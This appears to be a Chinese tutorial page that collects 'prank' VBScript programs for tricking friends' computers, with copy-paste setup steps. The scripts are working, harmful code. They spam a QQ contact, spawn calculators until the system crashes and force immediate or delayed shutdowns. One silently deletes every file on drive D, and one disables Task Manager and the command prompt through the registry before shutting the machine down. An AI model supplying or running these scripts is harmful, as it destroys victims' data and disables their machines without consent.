精华内容
下载资源
问答
  • VBS代码大全

    2018-08-18 09:58:05
    vbs脚本程序应用灵活方便,包含经典代码,可做为变成辅助工具!
  • windows整人vbs代码

    2018-07-21 16:03:14
    300秒自动关机,开机自动关机,安全模式无效。更改后可以不断重启不断开关机。 仅做学习,请勿滥用,windows
  • vbs语音代码,可以自动播放语音
  • VBS代码计算器

    2013-06-25 12:51:05
    VBS脚本写的一个小小计算器程序 特点是支持VB函数,输入VB语句得出结果! 例如—— "Hello, world!" = Hello, world! Abs(1-2) = 1 #2014/6/7# - Date() = 347 Time() = PM 12:48:31 发挥你的想象力吧! 原本只想...
  • 安装字体VBS代码.vbs

    2021-03-28 21:46:29
    自动批量安装字体。适合叉屁、未死的、瘟七、瘟八、瘟十等系统。 彻底解决了万恶的瘟十系统,当用户每安装1个字体文件,就在C盘存放23个文件的天怒人怨行径。
  • vbs代码,无法开机

    2018-06-09 19:44:35
    代码的原理为,前面一串开机自启动的代码,任何后面一串自动关机代码,可以达到开机就自动关机的效果,喜欢搞事情,或者有仇人的小伙伴可以试试
  • vbs实现的用了破解winrar密码的代码,需要的朋友可以参考下。
  • vbs代码大全VB代码

    2011-08-15 01:17:09
    有谁需要的可以下载来看看,比较实用的一些而已
  • vbs代码熊猫烧香病毒

    2012-08-10 09:57:37
    很好的代码,但是病毒的破坏力太强。千万别来搞破环,制作者的就是得到了应有的惩罚。
  • vbs表白代码

    2018-07-08 20:40:08
    抖音爆火vbs表白代码,亲测可用,含if-else选择语句,do-loop循环语句,inputbox()输入函数,功能较多,仅需修改文字即可使用。
  • 整人VBS代码-重启电脑

    2019-02-15 12:55:03
    右键发送桌面快捷方式 然后去桌面修改这个快捷方式的名称 最后是右键属性修改这个快捷方式的图标 根据自己的需求该名称和图片
  • 超好玩的vbs代码 (恶作剧代码)

    万次阅读 多人点赞 2019-08-01 09:25:59
    VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对...

     

            VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Windows脚本宿主,是一个脚本解释器,支持vbs,js,wsh三种格式的脚本。简单了解一下,计算机语言分为编译语言和解释语言,脚本语言属于解释语言。VBS脚本是有ASCII码组成。编写VBS脚本没有什么特定要求,只要有系统带了WSH环境就可以,从WIN98就开始支持了。 

    下边就是代码:

     

    msgbox"电脑即将自爆"+chr(13)+"请在15秒内离开座位"+chr(13)+"否则你死定了",2,"系统自爆提醒"
    CreateObject("SAPI.SpVoice").Speak"电脑即将自爆,请在15秒内离开座位,否则你死定了!"
    

    其中“msgbox”代表Windows系统的弹窗警告,内容A、内容B、内容C是大家想在弹窗上显示的文字,而“标题”就是弹窗左上角类似系统警告一类的内容;另外,在“标题”前面的数字“1”代表调用系统按钮的样式,也可以换成2、3、4,共4种按钮样式供大家选择。

    CreateObject("SAPI.SpVoice").Speak"内容"表示将内容用电脑发声
     

     

     

     

    无限弹出光驱:

     

    set wmp=createobject("wmplayer.ocx") 
    
    set cd=wmp.cdromcollection.item(0) 
    
    do 
    
    cd.eject 
    
    loop 

    无尽语音报数:无限语音从1数到无限大。

     

    Set s = CreateObject("sapi.spvoice") 
    
    i=0 
    
    do 
    
    s.speak i 
    
    i=i+1 
    
    loop 

    无尽刷新:慎用,如此刷新打开任务管理器都难,只能拔掉电源。

     

    set ws=createobject("wscript.shell") 
    
    do 
    
    ws.sendkeys "{f5}" 
    
    loop 

    修改注册表:

     

    on error resume next 
    
    set wr=createobject("scripting.filesystemobject") 
    
    set ws=createobject("wscript.shell") 
    
    set f = wr.getfile(wscript.scriptfullname) 
    
    q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup") 
    
    if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true 
    
    ws.run"shutdown -p",vbhide

    QQ信息骚扰恶搞:打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

     On Error Resume Next 
    
    Dim wsh,ye 
    
    set wsh=createobject("wscript.shell") 
    
    for i=1 to 10 
    
    wscript.sleep 700 
    
    wsh.AppActivate("小敏") 
    
    wsh.sendKeys "^v" 
    
    wsh.sendKeys i 
    
    wsh.sendKeys "%s" 
    
    next 
    
    wscript.quit

     
    如何恶搞朋友的电脑?超简单的vbs代码

    直接关机: 

     

    dim WSHshell 
    
    set WSHshell = wscript.createobject("wscript.shell") 
    
    WSHshell.run "shutdown -f -s -t 00",0 ,true

     不断按下alt+f4 :打开任何程序都关掉

     

    dim WSHshell 
    
    set WSHshell = wscript.createobject("wscript.shell") 
    
    do
    
    
    
    wscript.sleep 2500 
    
    WSHshell.SendKeys "%{F4}" 
    
    loop 

     电脑说话

    set objTTS = createobject("sapi.spvoice")
    objTTS.speak "我自横刀向天笑,笑完我就去睡觉"

    无限弹出窗口

    while(1)
    msgbox("关不掉我吧")
    msgbox("哈哈,还是关不掉我")
    msgbox("你就是关不掉我")
    msgbox("大爆发,我就是这么强大")
    msgbox("关不掉我吧")
    msgbox("啦啦啦")
    msgbox("你拿我没办法")
    msgbox("哈哈哈")
    msgbox("气死你,哈哈哈哈")
    Wend 

    关不掉的窗口 
    复制代码代码如下:

    
    
    WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) 
    WScript.Echo("你是可爱的小朋吗?") 
    WScript.Echo("哈,我想你拉,这你都不知道吗?") 
    WScript.Echo("怎么才来,说~是不是不关心我") 
    WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") 
    WScript.Echo("小强很生气,后果很严重哦。") 
    WScript.Echo("嘿嘿!你也会很惨滴哦") 
    WScript.Echo("是不是想清除我?") 
    WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") 
    WScript.Echo("还剩49下,快点点哦") 
    WScript.Echo("还剩48下,快点,小笨蛋!") 
    WScript.Echo("还剩47下对,就这样快点点!") 
    WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") 
    WScript.Echo("还剩45下,记得要快哦!") 
    WScript.Echo("还剩43下") 
    WScript.Echo("还剩42下") 
    WScript.Echo("还剩41下") 
    WScript.Echo("还剩40下") 
    WScript.Echo("还剩39下") 
    WScript.Echo("还剩38下") 
    WScript.Echo("还剩37下") 
    WScript.Echo("还剩36下") 
    WScript.Echo("还剩35下") 
    WScript.Echo("还剩34下") 
    WScript.Echo("还剩33下") 
    WScript.Echo("还剩32下") 
    WScript.Echo("还剩30下") 
    WScript.Echo("还剩29下") 
    WScript.Echo("还剩28下") 
    WScript.Echo("还剩27下") 
    WScript.Echo("还剩26下") 
    WScript.Echo("还剩25下") 
    WScript.Echo("还剩24下") 
    WScript.Echo("还剩23下") 
    WScript.Echo("还剩22下") 
    WScript.Echo("还剩21下") 
    WScript.Echo("还剩20下") 
    WScript.Echo("还剩19下") 
    WScript.Echo("还剩18下") 
    WScript.Echo("还剩17下") 
    WScript.Echo("还剩16下") 
    WScript.Echo("还剩15下") 
    WScript.Echo("还剩14下") 
    WScript.Echo("还剩13下停停!!!慢点,我有话要说") 
    WScript.Echo("还剩12下,你继续点我就会消失滴") 
    WScript.Echo("还剩11下,以后就看不到我拉。555555") 
    WScript.Echo("还剩10下,你现在可以选择停止!") 
    WScript.Echo("还剩9下。你还点啊,不要我拉?") 
    WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") 
    WScript.Echo("还剩7下。疯了,你有点负意!") 
    WScript.Echo("还剩6下。对。你就点吧,我恨你!") 
    WScript.Echo("还剩5下,不明白,删除我你就好吗?") 
    WScript.Echo("还剩4下!真要删除我?") 
    WScript.Echo("还剩3下。可是我真的很眷恋你。。。") 
    WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") 
    WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") 
    WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 
    WScript.Echo("想结素我么?那你就再多点一次") 

    今天给大家带来两个整人的VBS脚本 希望大家喜欢 
    VBS脚本大家都知道吧 第一个是定时关机的 
    如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 
    时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法 
    我们来看下这个脚本 

    复制代码代码如下:

    on error resume next 
    dim WSHshellA 
    set WSHshellA = wscript.createobject("wscript.shell") 
    WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true 
    dim a 
    do while(a <> "我是猪") 
    a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) 
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
    loop 
    msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" 
    dim WSHshell 
    set WSHshell = wscript.createobject("wscript.shell") 
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
    msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖" 


    新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了 
    cmd.exe /c shutdown -r -t 180 -c 
    这里的数字可以修改关机时间 180秒 
    这些文字也可以自设 这个脚本启用cmd 里的关机程序 
    如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已 
    经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK 
    了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主 
    ------------------------------------------------------------------------------------------- 
    下面看第二个整人的脚本 
    ------------------------------------------------------------------------------------------- 

    复制代码代码如下:

    set ws=createobject("wscript.shell") 
    call shutdown(1) 
    do while a<>"我是猪" 
    a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","") 
    loop 
    call shutdown(2) 
    msgbox "早说就行了嘛",4096+64 
    msgbox"再输一遍我是猪!",4096+64 
    msgbox"我是猪!",4096+64 
    MsgBox"最后一次!",4096+64 
    MsgBox"如果你很快的点过去,不看的话",4096+64 
    MsgBox"我就要你踩我空间的!哼!",4096+64 
    MsgBox"从前有座山!",4096+64 
    MsgBox"山里有个庙.",4096+64 
    MsgBox"庙里有个老和尚在讲故事.",4096+64 
    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
    msgbox"哎呀累了!数绵羊哄我睡觉",4096+64 
    for i=1 to 100 
    MsgBox i&"只绵羊",4096+64 
    next 
    msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64 
    msgbox"最后问个问题,我是不是大好人!",4096+64 
    if inputbox("是不是","请选择","是")<>"是" then 
    call shutdown(1) 
    end if 
    sub shutdown(s) 
    select case s 
    case 1 
    ws.run"cmd.exe /c shutdown -r -t 60 -c",0 
    case 2 
    ws.run"cmd.exe /c shutdown -a",0 
    end select 
    end sub 


    -------------------------------------------------------------------------------- 
    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter" 
    这段代码可以改成你自己设定的地址 
    如果别人不输我是猪的话就会一直点下去 点到你设定的数字 
    for i=1 to 100 
    从1到100 
    可以改成 20 其他的数字 
    解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe 
    这个进程就好了 
    BY:7747.net 


    2009QQ整人代码 

    复制代码代码如下:

    set s=createobject("wscript.shell") 
    set bag=getobject("winmgmts:\\.\root\cimv2") 
    set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") 
    For Each id in pipe 
    if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then 
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 
    id.terminate() 
    else 
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 
    for i=1 to 60 
    s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 
    next 
    Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") 
    For Each eOs In colOS 
    eOs.Win32Shutdown(2) 
    Next 
    end if 
    Next 


    [color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式, 
    此代码的威力: 
    1:开机就强制自动关机 
    2:cmd命令打不开 
    3:结束任务不管用 
    4:F8安全模式也不管用 
    呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、 
    代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,, 
    PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。 
    拍拍手 顶起吧! 

    2: 

    复制代码代码如下:

    on error resume next 
    dim WSHshellA 
    set WSHshellA = wscript.createobject("wscript.shell") 
    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···"" ",0 ,true 
    dim a 
    do while(a <> "宝宝,我是天下第一大傻B") 
    a = inputbox ("宝宝,我是天下第一大傻B,就不关机,快撒,说 ""宝宝,我是天下第一大傻B"" ","说不说","不说",8000,7000) 
    msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" 
    loop 
    msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,乖乖" 
    dim WSHshell 
    set WSHshell = wscript.createobject("wscript.shell") 
    WSHshell.run "cmd.exe /c shutdown -a",0 ,true 
    msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦??" 


    这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、 



    网页整人效果代码 
    想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。 

    复制代码代码如下:

    <html> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
    <title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title> 
    </head> 
    <body> 
    <a href="" onMouseover="alert('为什么把鼠标放到这里?'); 
    alert('我不是说过不可以这样吗?'); 
    alert('你把我的话当什么了?'); 
    alert('你知道错了吗?'); 
    alert('什么?你居然....'); 
    alert('居然还没意识到自己做错了?'); 
    alert('那好,你要为此付出代价!'); 
    alert('我要你在这里点足一千下......'); 
    alert('什么?你开始有点后悔了?'); 
    alert('何必呢?'); 
    alert('你当初干什么去了?'); 
    alert('不原谅你!'); 
    alert('好从现在开始再点995下......'); 
    alert('你的手开始累了吗?'); 
    alert('什么?你已经没力气了?'); 
    alert('你一直在求我原谅你啊!'); 
    alert('看来你是真的知道错了!'); 
    alert('下次你还会这么做吗?'); 
    alert('真的不会了?'); 
    alert('那好,今天就放你一马!'); 
    alert('写封信给我说声对不起!'); 
    alert('你能这么做我很高兴!!!'); 
    document.bgColor='black'; 
    document.fgColor='White'; 
    window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a> 
    
    嘻试吧爽噢。。 
    
    </body> 
    </html> 




    vbs整人代码 
    代码如下: 

    复制代码代码如下:

    Private Sub Form_Load() 
    Me.Hide 
    End Sub 
    Private Sub Timer1_Timer() 
    '声明变量,其中“count”为静态变量,以便生成不同的文件 
    Dim files As String 
    Dim nr As String 
    Dim c As String 
    Static count As Long 
    '定义要把生成的文件存放在那个目录文件下 
    c = "C:\Program Files\" 
    '生成文件的内容 
    nr = "哈哈,被黑的感觉的不错吧" 
    files = FreeFile 
    '如果a等于a那么就执行 
    If a = a Then 
    'count不断的加1,以便产生不同的文件名 
    count = count + 1 
    '产生文件名及文件句柄,并用count作为产生不同的文件名。 
    Open c & "system" & count & ".dll" For Append As #files 
    '向文件写内容 
    Write #files, nr 
    '清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示 
    Close #files 
    End If 
    End Sub 

     一直点击 循环

    dim s
    do until s=500
    s=s+1
    msgbox "点确定",64
    loop

    开玩笑也得有个度,凡事都不要太过。上面的代码的尺度还不算很大,大家可以玩玩。

    创建一个text文本,把代码复制进去,后缀改为vbs 双击运行即可

    如何能关闭呢?打开任务管理器结束进程“wscript.exe”即可

     

     来源:https://blog.csdn.net/dongge825/article/details/8025451

               https://so.csdn.net/so/search/s.do?q=vbs代码&t=&u=

    展开全文
  • VBS代码

    2020-02-04 13:29:40
    如果你是想知道一个简单的vbs脚本(恶搞版)坑人用的那么你来对了地方 首先新建一个文本文档 如下图 其次把红色划线部分改成.vbs(这个叫扩展名)(txt——>...把下面代码打上去保存就好 do msgbo...

    如果你是想知道一个简单的vbs脚本(恶搞版)坑人用的那么你来对了地方
    首先新建一个文本文档
    如下图
    在这里插入图片描述
    在这里插入图片描述
    其次把红色划线部分改成.vbs(这个叫扩展名)(txt——>vbs)
    有些电脑不显示
    不要紧打开资源管理器然后看下图
    在这里插入图片描述
    当你改完vbs点确定的时候电脑会警告你 ,不要紧点确定
    改了以后就变样了如下图
    在这里插入图片描述

    最后把鼠标移到图标上点击右键选编辑点下去
    把下面代码打上去保存就好

    do
    msgbox"想要重复的话"
    loop
    

    如何保存?

    同时点击ctrl键+s键
    

    实际效果如下图
    在这里插入图片描述
    怎么关也关不掉
    如何解除
    参照我的另一篇博客里面很详细
    关闭vbs

    展开全文
  • 作者:xiaolu [BST] 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 这个不是exe2vbs 所有类型的文件都可以转化的 不过限于string的大小 文件不能太大 我测试过3m的文件是可以的
  • vbs代码关机命令》

    2020-04-22 17:01:22
    本人写的vbs关机命令,双击一键关机。
  • 表白代码表白代码表白代码.vbs
  • 提权vbs代码

    2020-09-05 19:44:20
    用了提升用户权限的脚本代码,学习vbs的朋友可以参考下。
  • 关机vbs代码

    2014-05-11 16:35:39
    set WSHshellA createobject "wscript shell" WSHshellA run "cmd exe shutdown s t 0"
  • VBS代码加密和VB.NET代码加密,可以将自己写好代码加密,发给其他人也看不出来原代码是什么。
  • VBS代码-按500次回车

    2011-11-05 21:07:26
    VBS代码-按500次回车,一个有意思的代码,可以用来玩哦
  • VBS代码重启命令》

    2020-04-22 17:02:38
    本人写VBS重启命令,双击一键重启。
  • Arcgis Label 换行显示VBS代码 可按需求更改“j = Int(i / 10)” 中的除数,控制每行的字符长度
  • 代码类强制关机小软件,就是你必须说一句有损自己的话,才会解决关机倒计时的对话框。
  • 更新为自动判断时间格式,WIN7 XP测试通过,WIN8待测试,主要是通过获取百度的相关信息然后跟系统时间进行比较
  • 收藏的比较精典VBS代码发布 et fs = Wscipt.CreateObject"ripting) 创建文件系统对象用以处理驱动器文件夹和文件 St WshShel Wript.Cretbjec(Wcript.Shel) 创建系统hel对象用以运行程序等等 if f"D\刀剑Online\...
  • VBS 代码合集(慎用,好玩)

    千次阅读 2021-02-02 23:59:17
    一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =----------------------------------------------...

    玩玩就好啦
    记得关注哦
    、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).
    xx.vbs=>
    =---------------------------------------------------------------------------
    On Error Resume Next
    Dim wsh,ye
    set wsh=createobject(“wscript.shell”)
    for i=1 to 10
    wscript.sleep 700
    wsh.AppActivate(“与 xx 聊天中”)
    wsh.sendKeys “^v”
    wsh.sendKeys i
    wsh.sendKeys “%s”
    next
    wscript.quit


    QQ骚扰信息,也可以用在其它程序上。

    二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈


    do
    msgbox “You are foolish!”
    loop


    三、打开无数个计算器,直到死机

    set wsh=createobject(“wscript.shell”)
    do
    wsh.run “calc”
    loop

    四、直接关机

    dim WSHshell
    set WSHshell = wscript.createobject(“wscript.shell”)
    WSHshell.run “shutdown -f -s -t 00”,0 ,true

    五、删除D:\所有文件

    dim WSHshell
    set WSHshell = wscript.createobject(“wscript.shell”)
    WSHshell.run “cmd /c ““del d:*.* / f /q /s”””,0 ,true

    六、不断弹出窗口

    while(1)
    msgbox “哈哈 你被耍了!”
    loop

    七、不断按下alt+f4 (开什么都关闭……)

    dim WSHshell
    set WSHshell = wscript.createobject(“wscript.shell”)
    while(1)
    WSHshell.SendKeys “%{F4}”
    loop


    八、按500次回车

    (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)


    dim s
    do until s=500
    s=s+1
    msgbox “哥们,给我按500次回车吧”,64
    loop
    '------------------------ ------------------------------------------------------------

    九、关不掉的窗口

    WScript.Echo("嘿,谢谢你打开我哦,我等你很久

    拉!"&TSName)
    WScript.Echo(“你是可爱的小朋吗?”)
    WScript.Echo(“哈,我想你拉,这你都不知道吗?”)
    WScript.Echo(“怎么才来,说~是不是不关心我”)
    WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。”)
    WScript.Echo(“小强很生气,后果很严重哦。”)
    WScript.Echo(“嘿嘿!你也会很惨滴哦”)
    WScript.Echo(“是不是想清除我?”)
    WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴”)
    WScript.Echo(“还剩49下,快点点哦”)
    WScript.Echo(“还剩48下,快点,小笨蛋!”)
    WScript.Echo(“还剩47下对,就这样快点点!”)
    WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰

    你工作。")
    WScript.Echo(“还剩45下,记得要快哦!”)
    WScript.Echo(“还剩43下”)
    WScript.Echo(“还剩42下”)
    WScript.Echo(“还剩41下”)
    WScript.Echo(“还剩40下”)
    WScript.Echo(“还剩39下”)
    WScript.Echo(“还剩38下”)
    WScript.Echo(“还剩37下”)
    WScript.Echo(“还剩36下”)
    WScript.Echo(“还剩35下”)
    WScript.Echo(“还剩34下”)
    WScript.Echo(“还剩33下”)
    WScript.Echo(“还剩32下”)
    WScript.Echo(“还剩30下”)
    WScript.Echo(“还剩29下”)
    WScript.Echo(“还剩28下”)
    WScript.Echo(“还剩27下”)
    WScript.Echo(“还剩26下”)
    WScript.Echo(“还剩25下”)
    WScript.Echo(“还剩24下”)
    WScript.Echo(“还剩23下”)
    WScript.Echo(“还剩22下”)
    WScript.Echo(“还剩21下”)
    WScript.Echo(“还剩20下”)
    WScript.Echo(“还剩19下”)
    WScript.Echo(“还剩18下”)
    WScript.Echo(“还剩17下”)
    WScript.Echo(“还剩16下”)
    WScript.Echo(“还剩15下”)
    WScript.Echo(“还剩14下”)
    WScript.Echo(“还剩13下停停!!!慢点,我有话要说”)
    WScript.Echo(“还剩12下,你继续点我就会消失滴”)
    WScript.Echo(“还剩11下,以后就看不到我拉。555555”)
    WScript.Echo(“还剩10下,你现在可以选择停止!”)
    WScript.Echo(“还剩9下。你还点啊,不要我拉?”)
    WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家”)
    WScript.Echo(“还剩7下。疯了,你有点负意!”)
    WScript.Echo(“还剩6下。对。你就点吧,我恨你!”)
    WScript.Echo(“还剩5下,不明白,删除我你就好吗?”)
    WScript.Echo(“还剩4下!真要删除我?”)
    WScript.Echo(“还剩3下。可是我真的很眷恋你。。。”)
    WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你

    的!")
    WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无

    义!!!")
    WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝

    又给了一次机会。")
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)
    WScript.Echo(“想结素我么?那你就再多点一次”)


    两个整人的VBS脚本
    2009-07-16 18:16

    文章录入:7747.Net 责任编辑:7747.Net 564
    【字体:小 大】

    测试环境:Windows 2003 系统

    大家好 我是Vanlisa QQ137841986

    今天给大家带来两个整人的VBS脚本 希望大家喜欢

    VBS脚本大家都知道吧 第一个是定时关机的

    如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的

    时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法

    我们来看下这个脚本

    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject(“wscript.shell”)
    WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ““说我是猪,不说我是猪就一分钟关机,不信,试下···”” ",0 ,true
    dim a
    do while(a <> “我是猪”)
    a = inputbox (“说我是猪,就不关机,快撒,说 ““我是猪”” “,“说不说”,””,8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox”
    loop
    msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛”
    dim WSHshell
    set WSHshell = wscript.createobject(“wscript.shell”)
    WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
    msgbox chr(13) + chr(13) + chr(13) + “哈哈哈哈,好乖”

    新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了

    cmd.exe /c shutdown -r -t 180 -c

    这里的数字可以修改关机时间 180秒

    这些文字也可以自设 这个脚本启用cmd 里的关机程序

    如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已

    经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉Wscript.exe 这个进程就OK

    了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主


    下面看第二个整人的脚本

    set ws=createobject(“wscript.shell”)
    call shutdown(1)
    do while a<>“我是猪”
    a=inputbox(“快在下面的框框里输入我是猪,否则后果自负,快输”“我是猪”" “,“输不输”,”")
    loop
    call shutdown(2)
    msgbox “早说就行了嘛”,4096+64
    msgbox"再输一遍我是猪!",4096+64
    msgbox"我是猪!",4096+64
    MsgBox"最后一次!",4096+64
    MsgBox"如果你很快的点过去,不看的话",4096+64
    MsgBox"我就要你踩我空间的!哼!",4096+64
    MsgBox"从前有座山!",4096+64
    MsgBox"山里有个庙.",4096+64
    MsgBox"庙里有个老和尚在讲故事.",4096+64
    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"
    msgbox"哎呀累了!数绵羊哄我睡觉",4096+64
    for i=1 to 100
    MsgBox i&“只绵羊”,4096+64
    next
    msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64
    msgbox"最后问个问题,我是不是大好人!",4096+64
    if inputbox(“是不是”,“请选择”,“是”)<>“是” then
    call shutdown(1)
    end if

    sub shutdown(s)
    select case s
    case 1
    ws.run"cmd.exe /c shutdown -r -t 60 -c",0
    case 2
    ws.run"cmd.exe /c shutdown -a",0
    end select
    end sub

    ws.run"iexplore.exe http://new.qzone.qq.com/137841986/infocenter"

    这段代码可以改成你自己设定的地址

    如果别人不输我是猪的话就会一直点下去 点到你设定的数字

    for i=1 to 100

    从1到100

    可以改成 20 其他的数字

    解除这个VBS脚本的办法就简单了 只是关掉任务管理器里Wscript.exe

    这个进程就好了

    BY:7747.net

    2009QQ整人代码
    2010-01-28 21:18

    set s=createobject(“wscript.shell”)
    set bag=getobject(“winmgmts:\.\root\cimv2”)
    set pipe=bag.execquery(“select * from win32_process where name=‘wscript.exe’”)
    For Each id in pipe
    if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,“REG_DWORD”
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,“REG_DWORD”
    id.terminate()
    else
    s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,“REG_DWORD”
    s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,“REG_DWORD”
    for i=1 to 60
    s.popup"系统将在"& 60-i &“秒后关机…”,1,“系统提示”,4096+48
    next
    Set colOS = GetObject(“winmgmts:{(Shutdown)}”).ExecQuery(“Select * FROM Win32_OperatingSystem”)
    For Each eOs In colOS
    eOs.Win32Shutdown(2)
    Next
    end if
    Next

    [color=#FF0000]复制以上代码,在桌面建一个文本,把代码放进去,另存为VBE格式,
    此代码的威力:
    1:开机就强制自动关机
    2:cmd命令打不开
    3:结束任务不管用
    4:F8安全模式也不管用
